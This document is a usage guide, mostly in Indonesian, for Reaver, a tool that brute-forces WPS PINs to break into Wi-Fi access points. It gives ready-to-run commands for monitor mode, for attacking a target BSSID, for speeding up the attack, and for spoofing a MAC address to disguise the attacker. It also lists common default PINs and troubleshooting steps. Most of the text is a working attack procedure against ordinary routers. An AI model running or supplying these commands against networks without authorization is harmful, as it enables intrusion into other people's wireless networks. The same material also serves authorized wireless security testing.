Syarat

  • Harus menggunakan Linux
  • Harus menggunakan wireless card yang mampu melakukan raw injection.
  • Harus bisa membuat wireless card anda menggunakan mode monitor.

Penggunaan

Set wireless card agar masuk ke mode monitor:

airmon-ng start wlan0

Jalankan Reaver, tentukan BSSID dari targat AP dan nama dari monitor mode interface (biasanya 'mon0', bukan 'wlan0'):

reaver -i mon0 -b 00:01:02:03:04:05

Coba juga -vv agar lebih banyak informasi yang dikeluarkan

# reaver -i mon0 -b 00:01:02:03:04:05 -vv

Mempercepat serangan

Secara default, Reaver ada 1 second delay antara pin attempts. Kita dapat men-disable dengan menambahkan '-d 0' tapi beberapa AP mungkin tidak akan suka ini:

reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0

Pilihan lain untuk bisa mempercepat serangan dengan --dh-small. Pilihan ini memerintahkan Reaver untuk menggunakan angka diffie-hellman secret yang kecil untuk mengecilkan beban komputasi di target AP:

reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small

MAC Spoofing

Kadang kala, kita perlu men-spoof MAC address. Reaver mendukung MAC spoofing menggunakan perintah --mac option, pastikan kita men-spoof MAC dengan benar agar dapat bekerja.

Mengubah MAC address di interface virtual mode (misalnya mon0) TIDAK AKAN BISA. Kita perlu mengubah MAC address interface fisik. Contoh:

ifconfig wlan0 down
ifconfig wlan0 hw ether 00:BA:AD:BE:EF:69
ifconfig wlan0 up
airmon-ng start wlan0
reaver -i mon0 -b 00:01:02:03:04:05 -vv --mac=00:BA:AD:BE:EF:69

Default Pins

It has been reported that some models/vendors/ISPs all come configured with a default pin. Common pins are 12345670, 00005678, 01230000, etc. Reaver attempts known default pins first. Errors and Warnings

It is not uncommon to get a few errors or warnings during the attack, usually related to receive timeouts or out of order WPS messages. You may even get these warnings for a few minutes until the pin count starts incrementing again.

However, if your pin count does not increment at all, or increments only occasionally with lots of errors/warnings, answer the following:

  • Does the target AP support WPS and is WPS enabled?
  • Did you put your wireless card into monitor mode?
  • Did you specify the monitor mode interface with the -i option?
  • Do you have a good signal from the AP?

If you still have problems, you can see if your problem is already listed in the project issue tracker. If not, create a new issue, and be sure to include:

  • Linux distro, distro version, and architecture (32 bit or 64bit?)
  • Wireless card and driver
  • Pcap file demonstrating the issue, if possible
